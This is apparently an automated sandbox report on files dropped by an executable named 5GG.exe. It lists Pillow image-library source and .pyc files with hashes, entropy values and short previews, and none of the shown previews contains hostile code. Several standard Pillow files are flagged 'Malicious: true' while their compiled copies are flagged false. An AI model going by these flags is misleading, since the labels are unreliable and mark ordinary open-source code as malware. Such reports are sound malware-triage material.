Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	1812
Entropy (8bit):	4.608488065021904
Encrypted:	false
SSDEEP:	48:RqK1skDbkQRV7ZGlrCYgEbyBENIUVbBuO4t:Rj3b/7ZGlrCkyBeIUju/
MD5:	8F567DF570750E1006B372DA27E98518
SHA1:	ADAED0B39F7E7F2D9BEEAB3457DD492539D7354B
SHA-256:	E7B572933E09ED3BDECBD5F5A3D59BDBE302675E1D8AD192B6942D6E9686FDDE
SHA-512:	05FEB2C83E9AF85807B310B6241CC37B1CA61AB9746EE143B43FCA53D91AD1FEC0A8DCEDA01953D31343F0F3FDD2E4A177DC0AF0DE20AAD78ABDBC6284096F80
Malicious:	true
Preview:	#..# The Python Imaging Library...# $Id$..#..# read files from within a tar file..#..# History:..# 95-06-18 fl Created..# 96-05-28 fl Open files in binary mode..#..# Copyright (c) Secret Labs AB 1997...# Copyright (c) Fredrik Lundh 1995-96...#..# See the README file for information on usage and redistribution...#..from __future__ import annotations....import io..from types import TracebackType....from . import ContainerIO......class TarIO(ContainerIO.ContainerIO[bytes]):.. """A file object that provides read access to a given member of a TAR file.""".... def __init__(self, tarfile: str, file: str) -> None:.. """.. Create file object..... :param tarfile: Name of TAR file... :param file: Name of member file... """.. self.fh = open(tarfile, "rb").... while True:.. s = self.fh.read(512).. if len(s) != 512:.. msg = "unexpected end of tar file".. raise OSError(msg).... na

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PIL\TgaImagePlugin.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	6870
Entropy (8bit):	4.548522824988443
Encrypted:	false
SSDEEP:	96:RjFv3a6lEpFeUOFPAfF2tkwLkc9jYCv4D5+1iyjIWRzgMLPEkHqV1wohw1xw6xw7:Lfa6DAMtbN9jYCv2yUWAktJ8H7
MD5:	C29C56168CA1DC8A0A3F31DC268D3A0E
SHA1:	3D32F26E449A89D6BF8C7B6C32C36E79F10643CC
SHA-256:	2883550B8A1654A66EA32AED9A6DAE568259D193A39B78BD24F3DF1575B9CCD0
SHA-512:	17CD740ECE3B550DAC6CF40E3885B4054BE5A55A096829C1D06F6977859EE1D603A03EA563A4CC82B5DDE36581DBEB4945F4C521D4726A1FEF8DDC21AC43FFEC
Malicious:	true
Preview:	#..# The Python Imaging Library...# $Id$..#..# TGA file handling..#..# History:..# 95-09-01 fl created (reads 24-bit files only)..# 97-01-04 fl support more TGA versions, including compressed images..# 98-07-04 fl fixed orientation and alpha layer bugs..# 98-09-11 fl fixed orientation for runlength decoder..#..# Copyright (c) Secret Labs AB 1997-98...# Copyright (c) Fredrik Lundh 1995-97...#..# See the README file for information on usage and redistribution...#..from __future__ import annotations....import warnings....from . import Image, ImageFile, ImagePalette..from ._binary import i16le as i16..from ._binary import o8..from ._binary import o16le as o16....#..# --------------------------------------------------------------------..# Read RGA file......MODES = {.. # map imagetype/depth to rawmode.. (1, 8): "P",.. (3, 1): "1",.. (3, 8): "L",.. (3, 16): "LA",.. (2, 16): "BGR;5",.. (2, 24): "BGR",.. (2, 32): "BGRA",..}......##..# Image plugin for Targa file

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PIL\TiffImagePlugin.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	78860
Entropy (8bit):	4.74946759201606
Encrypted:	false
SSDEEP:	1536:wTauiFjlx+1idr4pMRKpL01k5KYH22MNMb5PU5QVroHPHnJigyCkZxYSK0mMf:1ut1iGpMo01kgYH22MNMb5PU5QVroHPq
MD5:	85A6BADB17F7F1C35FFE3BC1C39B0181
SHA1:	9DA0069C9A10C240DFE1AE2BE140B8A4F436A799
SHA-256:	5AA2C2985A287CBC207AE72AB32C61F54BA3E0025DD93345105425F310D2BE8F
SHA-512:	9CA9FC0E886F47EC80289768127A5A524B79B95FC7B628425E17DE325FA26420449AD91F256232D9D8027E3CC98C13C5A26AF0ACF8574CF3FD1A92C02B75DACC
Malicious:	true
Preview:	#..# The Python Imaging Library...# $Id$..#..# TIFF file handling..#..# TIFF is a flexible, if somewhat aged, image file format originally..# defined by Aldus. Although TIFF supports a wide variety of pixel..# layouts and compression methods, the name doesn't really stand for..# "thousands of incompatible file formats," it just feels that way...#..# To read TIFF data from a stream, the stream must be seekable. For..# progressive decoding, make sure to use TIFF files where the tag..# directory is placed first in the file...#..# History:..# 1995-09-01 fl Created..# 1996-05-04 fl Handle JPEGTABLES tag..# 1996-05-18 fl Fixed COLORMAP support..# 1997-01-05 fl Fixed PREDICTOR support..# 1997-08-27 fl Added support for rational tags (from Perry Stoll)..# 1998-01-10 fl Fixed seek/tell (from Jan Blom)..# 1998-07-15 fl Use private names for internal variables..# 1999-06-13 fl Rewritten for PIL 1.0 (1.0)..# 2000-10-11 fl Additional fixes for Python 2.0 (1.1)..# 2001-04-17 fl

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PIL\TiffTags.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	17112
Entropy (8bit):	5.291587264457737
Encrypted:	false
SSDEEP:	384:1Y/fftfLok/c/uDO8b1PLXaw+iif2ZoKig4HpJvGnWbvWmCCjRx2A:i/kGspDeFO
MD5:	80B87EF28E9161958F8A7CDD03069EB9
SHA1:	C36EFA9D0AB07ABA5B992BEDEE087F7285E3038D
SHA-256:	BBEC1258E6B2AA727C2268DBA354720136534652246B4407E1A92D0D6F3C7467
SHA-512:	2F79AE385029DF07A7610ACC797F486F37BAB1FE1986B0B6CFBB48900CB0F90A4B232BFC499372BCD67571B680717C9F3D4A00CE9D96B0031A3848A435088D69
Malicious:	true
Preview:	#..# The Python Imaging Library...# $Id$..#..# TIFF tags..#..# This module provides clear-text names for various well-known..# TIFF tags. the TIFF codec works just fine without it...#..# Copyright (c) Secret Labs AB 1999...#..# See the README file for information on usage and redistribution...#....##..# This module provides constants and clear-text names for various..# well-known TIFF tags...##..from __future__ import annotations....from collections import namedtuple......class TagInfo(namedtuple("_TagInfo", "value name type length enum")):.. __slots__ = [].... def __new__(cls, value=None, name="unknown", type=None, length=None, enum=None):.. return super().__new__(cls, value, name, type, length, enum or {}).... def cvt_enum(self, value):.. # Using get will call hash(value), which can be expensive.. # for some types (e.g. Fraction). Since self.enum is rarely.. # used, it's usually better to test it first... return self.enum.get(value, value)

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PIL\WalImageFile.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, Unicode text, UTF-8 text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	5679
Entropy (8bit):	4.692850736642468
Encrypted:	false
SSDEEP:	96:Rjh3BQB0W9PglhZtZR1W1y9zGw4QCaUgGahyxP9sPCeSaA3phUCeBDIBPRHMoG:PC0qP+FU1y4w4Khyj2PfdBD6W
MD5:	9197DA1261A5288591A6F29ADF4156B7
SHA1:	C96D278932761910472849ADD42D5C08DC31CC88
SHA-256:	A2DE33193129F2E75888B60B7CE941AD75A8FCE49A08ED818EAF86D0C7EDE42B
SHA-512:	FF59136295FF235381C383F8E98C5DFB4E3010EB62F782003044A6B4C1F41685F2AA971D8071EE0657424F5A4F9296E2DC75E4258D07B37E90F67CC4D28C4F7E
Malicious:	true
Preview:	#..# The Python Imaging Library...# $Id$..#..# WAL file handling..#..# History:..# 2003-04-23 fl created..#..# Copyright (c) 2003 by Fredrik Lundh...#..# See the README file for information on usage and redistribution...#...."""..This reader is based on the specification available from:..https://www.flipcode.com/archives/Quake_2_BSP_File_Format.shtml..and has been tested with a few sample files found using google....... note::.. This format cannot be automatically recognized, so the reader.. is not registered for use with :py:func:`PIL.Image.open()`... To open a WAL file, use the :py:func:`PIL.WalImageFile.open()` function instead..."""..from __future__ import annotations....from . import Image, ImageFile..from ._binary import i32le as i32......class WalImageFile(ImageFile.ImageFile):.. format = "WAL".. format_description = "Quake2 Texture".... def _open(self):.. self._mode = "P".... # read header fields.. header = self.fp.read(32 + 24 + 32 + 12

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PIL\WebPImagePlugin.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	11686
Entropy (8bit):	4.545524455915341
Encrypted:	false
SSDEEP:	192:szNuzoVmyLncVuAayAD4xczXLzv297j9qcc/fat7X2utAixQup98:szNJUw0uATz2Pv293lcnaR7I
MD5:	A743A72BF0A42802ED431966F422BE99
SHA1:	F38F31A1A9EFE9788311963C932617E5A2A8821C
SHA-256:	80C0D5CBCF13E74D56E4F5C84F3892C4B493B9AFABEBC1886DAA7299413A5396
SHA-512:	20A222F1BBF94C0FE43C515C8AA1048BC29E938BD70193E4B2451A5871CFA9A11E5F0A60F94FC11873497F6362B9CB6F06AF423DA0E8CC84E88CB580DFB0C6E9
Malicious:	true
Preview:	from __future__ import annotations....from io import BytesIO....from . import Image, ImageFile....try:.. from . import _webp.... SUPPORTED = True..except ImportError:.. SUPPORTED = False......_VALID_WEBP_MODES = {"RGBX": True, "RGBA": True, "RGB": True}...._VALID_WEBP_LEGACY_MODES = {"RGB": True, "RGBA": True}...._VP8_MODES_BY_IDENTIFIER = {.. b"VP8 ": "RGB",.. b"VP8X": "RGBA",.. b"VP8L": "RGBA", # lossless..}......def _accept(prefix):.. is_riff_file_format = prefix[:4] == b"RIFF".. is_webp_file = prefix[8:12] == b"WEBP".. is_valid_vp8_mode = prefix[12:16] in _VP8_MODES_BY_IDENTIFIER.... if is_riff_file_format and is_webp_file and is_valid_vp8_mode:.. if not SUPPORTED:.. return (.. "image file could not be identified because WEBP support not installed".. ).. return True......class WebPImageFile(ImageFile.ImageFile):.. format = "WEBP".. format_description = "WebP image".. __loaded = 0.. __logic

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PIL\WmfImagePlugin.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	4905
Entropy (8bit):	4.726327391802364
Encrypted:	false
SSDEEP:	96:RxDfWvetCKSA+ZtUFJtgjX2a07f/pvpFcKDc/wFxdjLCYGV9wnn7pQ6gdqkwSpCY:eyjSa/XqlWkpVOyyw
MD5:	23F2401EA27264476EF01EF7841037DC
SHA1:	4361244C9E938C056BC5BACD64C457C8E7396C3F
SHA-256:	2B44512C1EFA8BF0CB040F77FCAD59D92ACC9E6EE12FBF5E68012AB9813D16D7
SHA-512:	0D5A1EC78B976E52E9FC6A91AD3BBBEC5D8C0B28E3096E81446E7CA360B9366B10D02CB8349780B0F9294EB35268AC23557E1ED0842474BCDF3A131DB556541E
Malicious:	true
Preview:	#..# The Python Imaging Library..# $Id$..#..# WMF stub codec..#..# history:..# 1996-12-14 fl Created..# 2004-02-22 fl Turned into a stub driver..# 2004-02-23 fl Added EMF support..#..# Copyright (c) Secret Labs AB 1997-2004. All rights reserved...# Copyright (c) Fredrik Lundh 1996...#..# See the README file for information on usage and redistribution...#..# WMF/EMF reference documentation:..# https://winprotocoldoc.blob.core.windows.net/productionwindowsarchives/MS-WMF/[MS-WMF].pdf..# http://wvware.sourceforge.net/caolan/index.html..# http://wvware.sourceforge.net/caolan/ora-wmf.html..from __future__ import annotations....from . import Image, ImageFile..from ._binary import i16le as word..from ._binary import si16le as short..from ._binary import si32le as _long...._handler = None......def register_handler(handler):.. """.. Install application-specific WMF image handler..... :param handler: Handler object... """.. global _handler.. _handler = handler......if ha

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PIL\XVThumbImagePlugin.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	2101
Entropy (8bit):	4.933142886382852
Encrypted:	false
SSDEEP:	48:RqKnoIHQwG5lqRjFevkpp6XV3f2+/rnEoNvJfbEH2cgHlw2Ptv:RjoIwVOZFevUpu3f9jThMNgHlw21v
MD5:	7036F8D3214E8C4CD993EA04610CE7C7
SHA1:	C6015D6E47DC26EEB331050B3052021811C2F859
SHA-256:	25E0048094AC68A22929261DC5029FA2FC9FFF716803566AAD6BDAF8B18E07DA
SHA-512:	E836D3A3BEFFA170F2B830BC838F2017C391CB66D78C706B352B53F7F4BCA373729C880BBA11E599740F184894637E14E310A03F46321504679B60572950FEA4
Malicious:	true
Preview:	#..# The Python Imaging Library...# $Id$..#..# XV Thumbnail file handler by Charles E. "Gene" Cash..# (gcash@magicnet.net)..#..# see xvcolor.c and xvbrowse.c in the sources to John Bradley's XV,..# available from ftp://ftp.cis.upenn.edu/pub/xv/..#..# history:..# 98-08-15 cec created (b/w only)..# 98-12-09 cec added color palette..# 98-12-28 fl added to PIL (with only a few very minor modifications)..#..# To do:..# FIXME: make save work (this requires quantization support)..#..from __future__ import annotations....from . import Image, ImageFile, ImagePalette..from ._binary import o8...._MAGIC = b"P7 332"....# standard color palette for thumbnails (RGB332)..PALETTE = b""..for r in range(8):.. for g in range(8):.. for b in range(4):.. PALETTE = PALETTE + (.. o8((r * 255) // 7) + o8((g * 255) // 7) + o8((b * 255) // 3).. )......def _accept(prefix):.. return prefix[:6] == _MAGIC......##..# Image plugin for XV thumbnail images.......class

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PIL\XbmImagePlugin.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	2618
Entropy (8bit):	5.191191307960095
Encrypted:	false
SSDEEP:	48:RqKODAlXgMawLebkQRHPTYLp6vrLSdbKjKyPVZ+VZoLyVZS9VZaOVCiVswN6tCw3:RjODAl3awLi9bYLp23bbPj+jeyjS9j5w
MD5:	0D29A8C9374272CFF23AB54C5B4F0018
SHA1:	6C659C8C94CABA2AF34A4AC5C72F7402F4BF8F92
SHA-256:	DA5E88AE3FF462292D90EF33568F2393A07CDF4AF118751AF117C50F2A3097E2
SHA-512:	8D6D1B6EB08D65E5625D654C4B9A3EC492D4AFB793FCB76A431EC54B6261C71DD557B06CB76ED05ACF4011A4D93B621235C027B14E13A106AE9AC8833A10A225
Malicious:	true
Preview:	#..# The Python Imaging Library...# $Id$..#..# XBM File handling..#..# History:..# 1995-09-08 fl Created..# 1996-11-01 fl Added save support..# 1997-07-07 fl Made header parser more tolerant..# 1997-07-22 fl Fixed yet another parser bug..# 2001-02-17 fl Use 're' instead of 'regex' (Python 2.1) (0.4)..# 2001-05-13 fl Added hotspot handling (based on code from Bernhard Herzog)..# 2004-02-24 fl Allow some whitespace before first #define..#..# Copyright (c) 1997-2004 by Secret Labs AB..# Copyright (c) 1996-1997 by Fredrik Lundh..#..# See the README file for information on usage and redistribution...#..from __future__ import annotations....import re....from . import Image, ImageFile....# XBM header..xbm_head = re.compile(.. rb"\s#define[ \t]+._width[ \t]+(?P<width>[0-9]+)[\r\n]+".. b"#define[ \t]+._height[ \t]+(?P<height>[0-9]+)[\r\n]+".. b"(?P<hotspot>".. b"#define[ \t]+[^_]_x_hot[ \t]+(?P<xhot>[0-9]+)[\r\n]+".. b"#define[ \t]+[^_]*_y_hot[ \t]+(?P<yhot>[0-9

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PIL\XpmImagePlugin.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	3347
Entropy (8bit):	4.459081056689915
Encrypted:	false
SSDEEP:	96:RjMgYq9FNpdB7dtSokMM9BwMTMw/qpwe+wHo:GGDZAJaI
MD5:	42568D08E835365AB06E36979C7E05A7
SHA1:	98391410C3C17D0B758E4533691DD22FC242D009
SHA-256:	DBD10CD6B0D914CA2361446F491227141DE0BE06F10A08B049AC2DA0D80D5C41
SHA-512:	D15C68EABEAC34842CAA64AD1C0077C26A6D414E247E8F8B4CEA50BEE6950A7EE11BFC7ADD9972465DBF2A46E72FE05A9F2CE0AF54EAAD19EFA575BFB083E3FB
Malicious:	true
Preview:	#..# The Python Imaging Library...# $Id$..#..# XPM File handling..#..# History:..# 1996-12-29 fl Created..# 2001-02-17 fl Use 're' instead of 'regex' (Python 2.1) (0.7)..#..# Copyright (c) Secret Labs AB 1997-2001...# Copyright (c) Fredrik Lundh 1996-2001...#..# See the README file for information on usage and redistribution...#..from __future__ import annotations....import re....from . import Image, ImageFile, ImagePalette..from ._binary import o8....# XPM header..xpm_head = re.compile(b'"([0-9]) ([0-9]) ([0-9]) ([0-9])')......def _accept(prefix):.. return prefix[:9] == b"/* XPM */"......##..# Image plugin for X11 pixel maps.......class XpmImageFile(ImageFile.ImageFile):.. format = "XPM".. format_description = "X11 Pixel Map".... def _open(self):.. if not _accept(self.fp.read(9)):.. msg = "not an XPM file".. raise SyntaxError(msg).... # skip forward to next string.. while True:.. s = self.fp.readline()..

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PIL\init.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	2099
Entropy (8bit):	4.915035206183181
Encrypted:	false
SSDEEP:	48:AqetD27qhaSq29Rjiri2/5VQ5nYFoH8fMo0cLtTbSIEaZ9xRvY6sjRdwIFrtBxEX:AxDeSx9ZiO2hkKGpG
MD5:	9C9A7D9209F55CEE799163F4D1491EA4
SHA1:	902266AD73AE8A50694F14F293D49A39118712F3
SHA-256:	4DE3491665347F31CE7E152E0425F63260EEF9B649A87A37E0BEE13552DA6B58
SHA-512:	EF7448FA65C2AFA068181E080ED4131551E28C663F7A001C8CC605917F1A7E0CDCBED3C7E35E46D153D9D883BA669CEEE74CD2A3DE411C14375CA2BEAD48E733
Malicious:	true
Preview:	"""Pillow (Fork of the Python Imaging Library)....Pillow is the friendly PIL fork by Jeffrey A. Clark (Alex) and contributors... https://github.com/python-pillow/Pillow/....Pillow is forked from PIL 1.1.7.....PIL is the Python Imaging Library by Fredrik Lundh and contributors...Copyright (c) 1999 by Secret Labs AB.....Use PIL.__version__ for this Pillow version.....;-).."""..from __future__ import annotations....from . import _version....# VERSION was removed in Pillow 6.0.0...# PILLOW_VERSION was removed in Pillow 9.0.0...# Use __version__ instead...__version__ = _version.__version__..del _version......_plugins = [.. "BlpImagePlugin",.. "BmpImagePlugin",.. "BufrStubImagePlugin",.. "CurImagePlugin",.. "DcxImagePlugin",.. "DdsImagePlugin",.. "EpsImagePlugin",.. "FitsImagePlugin",.. "FliImagePlugin",.. "FpxImagePlugin",.. "FtexImagePlugin",.. "GbrImagePlugin",.. "GifImagePlugin",.. "GribStubImagePlugin",.. "Hdf5StubImagePlugin",.. "IcnsI

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PIL\main.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	82
Entropy (8bit):	4.128476780209404
Encrypted:	false
SSDEEP:	3:166MRm6NKXRZiq7JLDh1W2xUCLWoam+Kf:1RMABJFLDh1xZ661f
MD5:	39CAD3C46FF6F33FB07BA9CEE1D1B61F
SHA1:	18B9CF73D995405937100C035E6DE9CAFAA4F77B
SHA-256:	011DB884BADCBB6E509410642EED253B455D644569CDBF8444A90427261230A5
SHA-512:	17C23313F623DB7982515C9ECE80A71F0FE3E98249BC1B06FA95E335CB52CD4AFEAC1E3AA5ADC0C06370F780771EAA16C9066955518920996FD3277BB92F1B8A
Malicious:	true
Preview:	from __future__ import annotations....from .features import pilinfo....pilinfo()..

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PIL\pycache\BdfFontFile.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	2760
Entropy (8bit):	5.664652543999942
Encrypted:	false
SSDEEP:	48:8ExRYp4cUouXAytN3HeFKkuX+9fCVd1E3eCQtW9MLUkvg7tzz3:8JeouXpb3HuuX+9+Zt7g7x
MD5:	B8F6B1073ACC8F4CDB543CA3DD628C20
SHA1:	3AFF686EDCADEE5D242AE9F59B37A50C0F601B46
SHA-256:	BD7FA3493B81A0BB83C8BE2FEB43958CB50E7862FC8316B0355C4CD91E515A8D
SHA-512:	08214E24D6D84F2CED53075E8E429CDC680CEAF09A0786D92B83104FE2A57B1BF56B7A71C9F6D7898047E043B2852BE6ED63E28A8B0E3618521522D533B03F12
Malicious:	false
Preview:	o.......m..e.........................@...sj...d.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.d.d.d.d.d...Z.d.d.d.d...Z.d.d.d...Z.G.d.d...d.e.j...Z.d.S.).z*.Parse X Bitmap Distribution Format (BDF)......)...annotations)...BinaryIO.....)...FontFile..ImageZ.RomanZ.ItalicZ.Obliquez.Reverse Italicz.Reverse Oblique..Other)...R..I..OZ.RIZ.ROZ.OTZ.ProportionalZ.MonospacedZ.Cell)...P..M..C..fr......return.qtuple[str, int, tuple[tuple[int, int], tuple[int, int, int, int], tuple[int, int, int, int]], Image.Image] \| Nonec....................C...s......\|.....}.\|.s.d.S.\|.d.d.....d.k.r.n.q.\|.d.d...........d...}.i.}...\|.....}.\|.r/\|.d.d.....d.k.r0n.\|...d...}.\|.\|.d...d.......d...\|.\|.d.\|.......d...<.q!t...}...\|.....}.\|.r\\|.d.d.....d.k.r]n.\|.\|.d.d.....7.}.qNd.d...\|.d.......D...\.}.}.}.}.d.d...\|.d.......D...\.}.}.\|.\|.f.\|.\|...\|...\|.\|...\|...f.d.d.\|.\|.f.f.}.z.t...d.\|.\|.f.\|.d.d...}.W.n...t.y.......t...d.\|.\|.f...}.Y.n.w.\|.t.\|.d.....\|.\|.f.S.).NT.....s....STARTCHAR..ascii.....s....BITMAP..... r..............s...

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PIL\pycache\BlpImagePlugin.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	12425
Entropy (8bit):	5.491193193416865
Encrypted:	false
SSDEEP:	192:Qx9FSPfXLExZeK8nMXsYedTrB2oMEyEf03ARnXmdzF2CoE673bNEYASsvj:moDExZejMcYcrBvbyEc3InKx2CoXnij
MD5:	C5E3C39FFBD8C2680E9D7469ED17723E
SHA1:	76E378DFE45669182F82CCC817C4FCD90798D914
SHA-256:	0EB12B8D6CA2948A135F28BE08661FB2DC3C5313934FE281C8FA74BD64595FFA
SHA-512:	F8936DB5C47D610E5182F111EBA56AA4BE3CBB149586577AA699E22020A27B77C76BA0FE08DBCA87360085DE8B8221FA9D1E29DB8231A1839293952A0155B5E1
Malicious:	false
Preview:	o.......m..e.>.......................@...sd...d.Z.d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.d.d...Z.d+d.d...Z.d.d...Z.d.d...Z.G.d.d...d.e...Z.d.d...Z.G.d.d...d.e.j...Z.G.d.d...d.e.j...Z.G.d.d ..d e...Z.G.d!d"..d"e...Z.G.d#d$..d$e.j...Z.d%d&..Z.e...e.j.e.e.....e.. e.j.d'....e..!d(e.....e..!d)e.....e.."e.j.e.....e..#d*e.....d.S.),a.....Blizzard Mipmap Format (.blp).Jerome Leclanche <jerome@leclan.ch>..The contents of this file are hereby released in the public domain (CC0).Full text of the CC0 license:. https://creativecommons.org/publicdomain/zero/1.0/..BLP1 files, used mostly in Warcraft III, are not fully supported..All types of BLP2 files used in World of Warcraft are supported...The BLP file structure consists of a header, up to 16 mipmaps of the.texture..Texture sizes must be powers of two, though the two dimensions do.not have to be equal; 512x256 is valid, but 512x200 is not..The first mipmap (mipmap #0) i

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PIL\pycache\BmpImagePlugin.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	8848
Entropy (8bit):	5.553301888013433
Encrypted:	false
SSDEEP:	192:g+9XjYXeqyEKzECcFolXW5MeoFQmz5xyApU2Tdny9HV:j5RvzguXWieoFvzjpFT4
MD5:	19FA6B45A56D96F99F0732AB845859FE
SHA1:	AEF2546D9D9A2AA8FF48EAE440FB33F13EC3B1A7
SHA-256:	859CCEAC5CA41EE87575B42A972082E25AA173D9AEE7B9DF91E24FBD15CC5ED5
SHA-512:	4D3AB9926629A0552728A2CAB64E8B2423F677EEAC0242B84A0E6059B4C3FE9E8B3C1D614FEDCEC406EABAC13DD1F634DBC47F840EFB9998C7FD6BB90BE9A5F0
Malicious:	false
Preview:	o.......m..e.F.......................@...s`...d.d.l.m.Z...d.d.l.Z.d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.d.d.d.d.d...Z.d.d...Z.d.d...Z.G.d.d...d.e.j...Z.G.d.d...d.e.j...Z.G.d.d...d.e...Z.d.d.d.d.d.d ..Z.d!d"..Z.d*d$d%..Z.e...e.j.e.e.....e...e.j.e.....e...e.j.d&....e...e.j.d'....e.. d(e.....e...e.j.e.e.....e...e.j.e.....e...e.j.d)....e...e.j.d'....d.S.)+.....)...annotationsN.....)...Image..ImageFile..ImagePalette)...i16le)...i32le....o8)...o16le)...o32le)...Pz.P;1).r....z.P;4).r....r....)...RGB..BGR;15).r......BGR).r......BGRX).r......................... ...c....................C...s....\|.d.d.....d.k.S.).N..........BM......prefixr....r.....U...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\PIL/BmpImagePlugin.py.._accept3...s......r....c....................C...s....t.\|...d.v.S.).N).......(....@....l....\|...)...i32r....r....r....r......_dib_accept7..........r$...c....................@...sX...e.Z.d.Z.d.Z.d.Z.d.Z.d.d.d.d.d.d.d...

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PIL\pycache\BufrStubImagePlugin.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	1730
Entropy (8bit):	5.156789299860001
Encrypted:	false
SSDEEP:	24:6RkpJBhm/ZO1ZEqEkOcBytAkRysXys5NmNiCdVMRZLhmyPQ3k+y/PAd6yG3w:7BgBkvvBmHQ6yc4YCdV2dIyPQyPc6y/
MD5:	5A2105E00A6DABDF63C18068F528188D
SHA1:	EB885302D19943D46A46027125F10A2C4A2581F4
SHA-256:	F20BAEB3188CB3E1876161E83053212840027F5A4F2186006E2C54F08B23E111
SHA-512:	E97760FB1F3A9AAC53DBBA79ADA0D29F5F38A57BB5D9E65F8010D64543BB0208477165BE99F1B2A5013B1DDAF5A26217934D3CC17EC3C1C0FB9B4C56F4648401
Malicious:	false
Preview:	o.......m..e.........................@...sz...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.a.d.d...Z.d.d...Z.G.d.d...d.e.j...Z.d.d...Z.e...e.j.e.e.....e...e.j.e.....e...e.j.d.....d.S.)......)...annotations.....)...Image..ImageFileNc....................C...s....\|.a.d.S.).z_. Install application-specific BUFR image handler... :param handler: Handler object.. N...._handler)...handler..r.....Z...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\PIL/BufrStubImagePlugin.py..register_handler....s......r....c....................C...s ...\|.d.d.....d.k.p.\|.d.d.....d.k.S.).N.....s....BUFRs....ZCZCr....)...prefixr....r....r......_accept ...s.... .r....c....................@...s$...e.Z.d.Z.d.Z.d.Z.d.d...Z.d.d...Z.d.S.)...BufrStubImageFileZ.BUFRc....................C...s\...\|.j.....}.t.\|.j...d.....s.d.}.t.\|.....\|.j...\|.....d.\|._.d.\|._.\|.....}.\|.r,\|...\|.....d.S.d.S.).Nr....z.Not a BUFR file..F).r....r....)...fp..tellr......read..SyntaxError..seek.._mode.._size.._load..open)...self..offset..ms

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PIL\pycache\ContainerIO.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	3251
Entropy (8bit):	5.118637749163563
Encrypted:	false
SSDEEP:	96:GaV3+mQ/QpdLtEUf5jn9jLyIbA48vIZgOjwSmfMUpe:Gax+mcQpflPjWIb5KigO8SmfE
MD5:	56FFC1FE18169FF1015AF086B5C2E1E6
SHA1:	E6200F3CB6B7B5B84567F2D947F8D00ABB0136E4
SHA-256:	B7C092C640DAD46D5C354910E9FF08D6C0924E61EF9DD64F4D9A114209B03E40
SHA-512:	1E77E14B8E75DB03B18BD036A2B76F6A9241365FAD5FA2132CDBEFC9D6BD23A795647AF9CF0BB8D974748C4BAF47D3CC38E71985108E720905C225642599E885
Malicious:	false
